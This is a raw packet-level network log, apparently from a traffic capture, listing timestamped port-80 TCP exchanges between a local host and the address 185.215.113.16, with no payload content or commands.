Oct 24, 2024 11:02:53.884879112 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884881020 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884895086 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884898901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884917021 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884926081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884946108 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884948015 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884974003 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885175943 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885190010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885201931 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885215998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885220051 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885230064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885243893 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885245085 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885258913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885272980 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885272980 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885289907 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885317087 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885324001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885338068 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885349989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885364056 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885366917 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885377884 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885391951 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885395050 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885407925 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885412931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885422945 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885440111 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885448933 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885468960 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885471106 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885488987 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885504007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885505915 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885518074 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885533094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885533094 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885548115 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885549068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885561943 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885564089 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885577917 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885581970 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885593891 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885596991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885607958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885612965 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885622978 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885626078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885637999 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885644913 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885653019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885658979 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885668039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885674000 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885684013 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885689020 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885693073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885706902 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885720968 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885721922 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885735035 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885751009 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885760069 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885760069 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885776043 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885785103 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885790110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885801077 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885804892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885818005 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885822058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885832071 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885838032 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885852098 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885867119 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885867119 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885883093 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885889053 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885898113 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885917902 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885932922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885936022 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885936022 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885946989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885953903 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885961056 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885968924 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885977030 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.885984898 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.885991096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.886003971 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.886007071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.886015892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.886029005 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.886051893 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887319088 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887336016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887347937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887362003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887377024 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887378931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887391090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887403965 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887419939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887424946 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887424946 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887445927 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887451887 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887465954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887479067 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887480974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887494087 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887506962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887507915 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887521982 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887530088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887537956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887558937 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887574911 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887586117 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887590885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887603998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887610912 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887618065 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887624979 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887633085 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887644053 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887672901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887672901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887676954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887702942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887718916 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887729883 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887736082 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887742043 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887748003 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887757063 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887768984 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887770891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887783051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887785912 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887798071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887809038 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887811899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887821913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887836933 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887840033 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887850046 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887856007 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887872934 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887882948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887887001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887900114 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887904882 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887914896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887929916 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887931108 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887943983 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887957096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887958050 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887970924 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887975931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.887988091 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.887999058 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888004065 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888016939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888024092 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888031006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888045073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888048887 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888060093 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888073921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888076067 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888089895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888112068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888134003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888149023 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888161898 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888175964 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888176918 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888191938 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888199091 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888205051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888219118 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888226032 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888232946 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888252974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888267994 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888299942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888314009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888325930 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888329983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888350964 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.888354063 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888371944 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.888385057 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889162064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889175892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889187098 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889200926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889214039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889224052 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889225006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889239073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889255047 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889255047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889267921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889292002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889292002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889297009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889309883 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889312983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889331102 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889331102 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889347076 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889348984 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889359951 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889369011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889374971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889384031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889389038 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889403105 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889410019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889410019 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889424086 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889426947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889439106 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889463902 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889463902 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889472961 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889473915 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889494896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889514923 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889523983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889524937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889539003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889552116 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889558077 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889564991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889570951 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889579058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889580011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889594078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889594078 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889615059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889628887 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889628887 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889628887 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889643908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889652967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889659882 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889661074 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889674902 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889679909 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889689922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889698982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889703989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889715910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889718056 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889725924 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889734030 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889744997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889749050 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889759064 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889765978 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889770031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889780998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889787912 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889796972 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889805079 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889811993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889815092 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889827967 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889832973 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889842033 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889847994 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889857054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889868021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889873981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889883041 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889889002 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889892101 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889904022 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889910936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889919996 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889925957 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889935970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889945984 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889951944 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889954090 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889966965 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.889976025 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889981985 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.889985085 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890001059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890002966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890016079 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890022993 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890031099 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890038967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890045881 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890048981 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890058994 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890069008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890074015 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890079021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890089035 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.890100002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890108109 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.890166998 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891051054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891066074 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891078949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891093016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891102076 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891107082 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891122103 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891124010 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891134977 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891149044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891170979 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891170979 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891180038 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891192913 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891201019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891215086 CEST	80	49887	185.215.113.16	192.168.2.6
